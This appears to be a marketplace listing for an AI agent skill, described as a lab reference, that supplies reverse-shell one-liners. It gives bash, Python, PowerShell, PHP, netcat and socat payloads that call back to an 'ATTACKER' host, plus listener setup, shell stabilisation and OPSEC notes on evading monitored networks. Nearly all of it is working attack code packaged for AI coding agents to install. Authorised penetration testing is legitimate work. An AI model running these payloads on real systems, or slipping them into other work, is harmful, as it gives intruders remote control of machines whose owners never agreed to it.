# Revshells

> Auth/lab ref: callback-shell lab one-liner generator (web UI and CLI) supporting 50+ shells.

- Skill: `aeondave/revshells` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add aeondave/revshells`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/revshells/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/revshells

---


# RevShells

Reverse shell one-liner generator — 50+ shells, encoded variants, web UI at revshells.com.

## Quick Start

```text
# Web UI: https://revshells.com
# Enter: IP, Port, Shell type → Copy one-liner
```

## Popular one-liners (substitute IP/PORT)

## Shell Cheatsheet

```bash
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (depends on -e support)
nc -e /bin/sh ATTACKER PORT

# Socat
socat tcp:ATTACKER:PORT exec:'/bin/bash',pty,stderr,setsid,sigint,sane
```

## Listener-first workflow

```bash
# Start listener before payload execution
nc -lvnp PORT
# or
ncat -lvnp PORT
```

## Upgrade Shell to PTY

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm
```

## OPSEC / Reliability Notes

- Prefer payloads matching actual runtime on target (bash/python/powershell).
- Use encoded output only when context requires it (web injection, quote escaping).
- Prefer TLS-capable approaches in monitored networks.
- Avoid assuming netcat `-e` exists; keep fallback payloads ready.

## Resources

| File | When to load |
|------|--------------|
| `references/listeners-and-pty-upgrades.md` | Listener setup, payload selection matrix, PTY stabilization and encoding strategy |